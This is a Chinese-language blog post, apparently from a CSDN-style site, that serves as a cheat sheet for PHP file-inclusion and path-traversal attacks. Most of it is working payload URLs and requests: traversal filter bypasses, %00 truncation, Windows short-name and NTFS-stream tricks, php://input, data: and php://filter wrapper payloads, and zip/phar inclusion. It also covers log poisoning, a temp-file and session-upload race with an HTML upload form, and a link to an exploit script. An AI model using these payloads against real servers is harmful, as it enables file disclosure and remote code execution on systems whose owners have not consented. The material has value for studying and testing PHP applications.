web.xml filter 不包含_PHP文件包含
一,PHP中关于文件的操作
任意文件读取/下载,任意文件删除,任意文件包含
file_get_contents(),unlink(),include()
支持【./】和【../】,【../】可用来穿越目录
http://luoke.cn:81/test/1.php?path2=../1.txt
对于将【../】替换为空的,可以双写绕过【..././】
对于强制要求以【upload/】开头的,可以【upload/../../】绕过
对于强制要求以【.xlsx】结尾的,可以【1.php%00.xlsx】绕过
对于Windows服务器支持【..】,支持NTFS文件流【txt::$DATA】
http://luoke.cn:81/test/1.php?path2=..1.txt
支持短文件名,注意,apache默认url也支持短文件名,
http://luoke.cn:81/test/1.php?path2=123456~1.txt
http://luoke.cn:81/test/123456~1.txt
IIS虽然不支持,但是可以用用404和400猜解出来
https://github.com/lijiejie/IIS_shortname_Scanner
file_get_contents()和include()
对于Windows服务器支持后面有一些多余的字符,比如空格和点,bp fuzz如下
%20,%22,%2e,%3c,%3e,%81-%fe
http://luoke.cn:81/test/1.php?path2=1.txt%fe
还可以用<或者>当做通配符代替后缀
http://luoke.cn:81/test/1.php?path2=1.<x<
http://luoke.cn:81/test/1.php?path2=1.<
http://luoke.cn:81/test/1.php?path2=1.>>>
二,PHP中支持多种协议
file
http://luoke.cn:81/test/1.php?path2=file:///C:/xampp/htdocs/1.txt
http(s)和ftp
file_get_contents需要allow_url_fopen=On
include需要allow_url_fopen=On allow_url_include=On
http://luoke.cn:81/test/1.php?path2=http://www.baidu.com
http://luoke.cn:81/test/1.php?path2=ftp://luoke.cn/Downloads/test/1.bat
php://filter
需要allow_url_fopen=On,用include也只能读取文件内容而不能执行代码
http://luoke.cn:81/test/1.php?path2=php://filter/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/read=string.toupper|string.rot13/resource=1.txt
也可以和其他协议一起来用
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=https://www.baidu.com
php://input
需要allow_url_include=on
POST /test/1.php?path1=php://input
<?php phpinfo();?>
更多php://协议见
https://www.php.net/manual/zh/wrappers.php.php
zip,compress.zlib, compress.bzip2,phar
http://luoke.cn:81/test/1.php?path1=zip://C:xampphtdocstest1.zip%23test.php
http://luoke.cn:81/test/1.php?path1=compress.bzip2://C:xampphtdocstest1.bz2
http://luoke.cn:81/test/1.php?path1=compress.zlib://C:xampphtdocstest1.gz
上面三个必须使用绝对路径,bz2和gz压缩包需要在linux环境生成
tar -czf 1.gz phpinfo.php
tar -cjf 1.bz2 phpinfo.php
http://luoke.cn:81/test/1.php?path1=phar://1.zip/test.php
data:text/plain
需要allow_url_fopen=On allow_url_include=On
http://luoke.cn:81/test/1.php?path1=data:text/plain,<?php%20phpinfo();?>
http://luoke.cn:81/test/1.php?path1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
smb
仅windows服务器支持,双off都可以包含,但国内公网已屏蔽smb协议
http://luoke.cn:81/test/1.php?path1=127.0.0.1UsersAdministrator.log
三,无法上传文件如何包含
可以包含缓存或者日志文件
http://luoke.cn:81/test/1.php?<?php phpinfo();?>
用burp直接发包,浏览器会url编码,这样即使报错400也会被写入log
http://luoke.cn:81/test/1.php?path1=../../apache/logs/access.log
包含php的上传缓存,目录于phpinfo中upload_tmp_dir
其原理是对任意php构造上传表单(即使无法上传文件),都会在此目录生成一个php****.tmp的缓存文件
可以包含此文件,但文件存活时间很短且随机名称,所以可以在phpinfo页面上传文件, phpinfo中含有此缓存文件的名称。
同时会将一些head头和GET打印出来,会延迟tmp文件删除的时间,需要在head和GET头填入垃圾字符。脚本如下
https://github.com/luoke90hou/files/blob/main/include_tmp.py
无phpinfo,有PHPSESSID还可以包含tmp目录里的session文件
session_start()开启session。
随便构造一个对任意php文件上传内容为<?php phpinfo();?>的文件
<form action="http://luoke.cn:81/echo.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" /><input type="file" name="file" />
<input type="submit" />
</form>
然后burp条件竞争
http://luoke.cn:81/test/1.php?path1=file:///C:xampptmpsess_2sm7vtt2i612p3ith57rhi5gqc
成功包含
CVE-2018-12613 phpmyadmin也是包含的session文件
觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。
web.xml filter 不包含_PHP文件包含相关推荐
- 【文件包含】文件包含漏洞知识总结
[文件包含]文件包含漏洞知识总结 Hello,各位小伙伴周五好~ 这里是你们的劳模小编~ 之前一期,我们已经一起总结了文件上传和文件解析漏洞. 今天我们就一起来看看文件包含漏洞吧~ 一.什么是文件包含 ...
- fopen打开ftp文件_PHP文件包含漏洞利用思路与Bypass总结手册(一)
作者:Qftm 合天智汇 前言 这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结. 相关函数 四个函数 php中引发文件包含漏洞的通常主要是以下四个函数: 1.include ...
- WEB安全基础-文件下载漏洞以及文件包含漏洞演示
这个是下面演示的源码,看链接地址找对应文件 http://download.csdn.net/download/qq78442761/10224681 文件下载漏洞 登进网站后运行截图如下: 点击下载 ...
- php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog
谁将烟焚散,散了纵横的牵绊 文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件.今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏 ...
- 什么是文件包含漏洞?文件包含漏洞分类!
网络安全是安全产业的重要组成部分,也是国家高度重视且大力支持的重点方向,在当下十分受关注,正因如此,越来越多的人选择转行学习网络安全.提及网络安全,大家应该都知道网络安全中有很多漏洞,今天这篇文章主要 ...
- 安鸾靶场-LFI本地文件包含 LFI本地文件包含LF2 文件包含漏洞练习记录
记得几个月刚接触CTF就遇到了一个文件包含漏洞题目 i春秋 afr1 解题过程 题解 原理 PHP伪协议 文件包含漏洞_AAAAAAAAAAAA66的博客-CSDN博客 记得当时的想法就是既然啥也不会 ...
- web.xml filter 不包含_Elasticsearch 之 Filter 与 Query 有啥不同?
今天来了解下 Elasticsearch(以下简称 ES) 中的 Query 和 Filter. 在 ES 中,提供了 Query 和 Filter 两种搜索: Query Context:会对搜索进 ...
- web.xml不同版本的头文件配置
版本:2.3 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE web-app PU ...
- web.xml中如何配置Servlet文件
依次配置<servlet>和<servlet-mapping> 这两个标签的<servlet-name>的值可以随意起,但是两个标签中的值一定得相同 <ser ...
最新文章
- Axure8.0 网页 or App 鼠标滚动效果
- Spring中经典的9种设计模式,一定要记牢,Java基础教程pdf百度云
- vim 双剑合璧,天下无敌(笔记)
- 伦斯勒理工大学计算机专业好申请吗,2020年伦斯勒理工学院申请难度
- java如何获得相反的颜色_javascript – 如何根据当前颜色生成相反的颜色?
- 快速简易封装歌词文件
- python is 与 == 的区别
- Hadoop常见命令总结
- MQTT的学习研究(十)【转】mosquitto——一个开源的mqtt代理
- 易筋SpringBoot 2.1 | 第十二篇:SpringBoot综合应用DataSoure
- stm32固件库手册使用方法
- LinkLab 链接
- 淘宝Fourinone介绍及与Hadoop的性能PK
- 京东朱健:聊聊京东广告系统的数据库选型
- 时区,GMT时间,UTC时间,UNIX时间戳
- 爱快中的虚拟机不能获取IPV4地址
- 最让我感动的图片...
- tcl/tk 的原生界面
- poi2009 切题记
- 【STM32F429开发板用户手册】第18章 STM32F429的GPIO应用之跑马灯
热门文章
- 基于JAVA+SpringMVC+Mybatis+MYSQL的仓库管理系统
- 69.Daily Temperatures(日常气温)
- JDK9.0.4环境变量配置
- 2016级算法期末上机-H.难题·AlvinZH's Fight with DDLs III
- 12. Docker修改默认存储位置
- Android简单的TXT文件存储
- android 使用现成做get请求
- spring集成compass中出现的问题和总结
- Python 3.6.x字符串格式化方法小结
- C++---------之--------【虚析构函数】